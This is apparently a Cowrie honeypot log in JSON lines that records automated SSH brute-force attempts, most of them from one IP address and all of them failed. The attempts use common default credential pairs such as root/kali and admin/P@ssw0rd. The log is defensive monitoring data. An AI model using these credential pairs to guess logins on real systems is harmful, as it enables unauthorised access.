{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:36.487795Z","src_ip":"192.109.200.78","session":"794c55bf5d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47028,"dst_ip":"10.17.0.5","dst_port":22,"session":"b51d0f2459bd","protocol":"ssh","message":"New connection: 192.109.200.78:47028 (10.17.0.5:22) [session: b51d0f2459bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:38.157175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:38.162359Z","src_ip":"192.109.200.78","session":"b51d0f2459bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:38.244752Z","src_ip":"192.109.200.78","session":"b51d0f2459bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:38.497603Z","src_ip":"192.109.200.78","session":"b51d0f2459bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:39.581713Z","src_ip":"192.109.200.78","session":"b51d0f2459bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47054,"dst_ip":"10.17.0.5","dst_port":22,"session":"f62ff8ed023c","protocol":"ssh","message":"New connection: 192.109.200.78:47054 (10.17.0.5:22) [session: f62ff8ed023c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:42.204924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:42.212878Z","src_ip":"192.109.200.78","session":"f62ff8ed023c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:42.296993Z","src_ip":"192.109.200.78","session":"f62ff8ed023c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:42.545192Z","src_ip":"192.109.200.78","session":"f62ff8ed023c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":54030,"dst_ip":"159.203.135.109","dst_port":23,"session":"48849e599afe","protocol":"telnet","message":"New connection: 5.42.229.203:54030 (159.203.135.109:23) [session: 48849e599afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:42.712118Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:43.630451Z","src_ip":"192.109.200.78","session":"f62ff8ed023c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.55586814880371,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:45.232953Z","src_ip":"5.42.229.203","session":"a611d99b39e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47074,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e7f7fa7ba4","protocol":"ssh","message":"New connection: 192.109.200.78:47074 (10.17.0.5:22) [session: f3e7f7fa7ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:46.461624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:46.466424Z","src_ip":"192.109.200.78","session":"f3e7f7fa7ba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:46.548748Z","src_ip":"192.109.200.78","session":"f3e7f7fa7ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:46.801101Z","src_ip":"192.109.200.78","session":"f3e7f7fa7ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:47.890315Z","src_ip":"192.109.200.78","session":"f3e7f7fa7ba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34334,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fac7b469b6a","protocol":"ssh","message":"New connection: 159.203.92.129:34334 (159.203.135.109:22) [session: 6fac7b469b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:51.265713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:51.270097Z","src_ip":"159.203.92.129","session":"6fac7b469b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:51.274605Z","src_ip":"159.203.92.129","session":"6fac7b469b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:51.286586Z","src_ip":"159.203.92.129","session":"6fac7b469b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46994,"dst_ip":"10.17.0.5","dst_port":22,"session":"d175e18efe33","protocol":"ssh","message":"New connection: 192.109.200.78:46994 (10.17.0.5:22) [session: d175e18efe33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:51.596766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:51.661104Z","src_ip":"192.109.200.78","session":"d175e18efe33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:51.727242Z","src_ip":"192.109.200.78","session":"d175e18efe33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:52.289892Z","src_ip":"192.109.200.78","session":"d175e18efe33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:52.295815Z","src_ip":"159.203.92.129","session":"6fac7b469b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:53.375369Z","src_ip":"192.109.200.78","session":"d175e18efe33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47002,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7b9f5e74fe3","protocol":"ssh","message":"New connection: 192.109.200.78:47002 (10.17.0.5:22) [session: a7b9f5e74fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:54.733120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:54.737865Z","src_ip":"192.109.200.78","session":"a7b9f5e74fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:54.822861Z","src_ip":"192.109.200.78","session":"a7b9f5e74fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:55.074960Z","src_ip":"192.109.200.78","session":"a7b9f5e74fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:56.160006Z","src_ip":"192.109.200.78","session":"a7b9f5e74fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52836,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc29e999278d","protocol":"ssh","message":"New connection: 192.109.200.78:52836 (10.17.0.5:22) [session: dc29e999278d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:58.807125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:58.811968Z","src_ip":"192.109.200.78","session":"dc29e999278d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:58.896490Z","src_ip":"192.109.200.78","session":"dc29e999278d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:59.143396Z","src_ip":"192.109.200.78","session":"dc29e999278d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:00.292448Z","src_ip":"192.109.200.78","session":"dc29e999278d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52844,"dst_ip":"10.17.0.5","dst_port":22,"session":"845935a802a9","protocol":"ssh","message":"New connection: 192.109.200.78:52844 (10.17.0.5:22) [session: 845935a802a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:03.012794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:03.137917Z","src_ip":"192.109.200.78","session":"845935a802a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:03.149820Z","src_ip":"192.109.200.78","session":"845935a802a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:03.496494Z","src_ip":"192.109.200.78","session":"845935a802a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:04.587459Z","src_ip":"192.109.200.78","session":"845935a802a9","protocol":"ssh"}
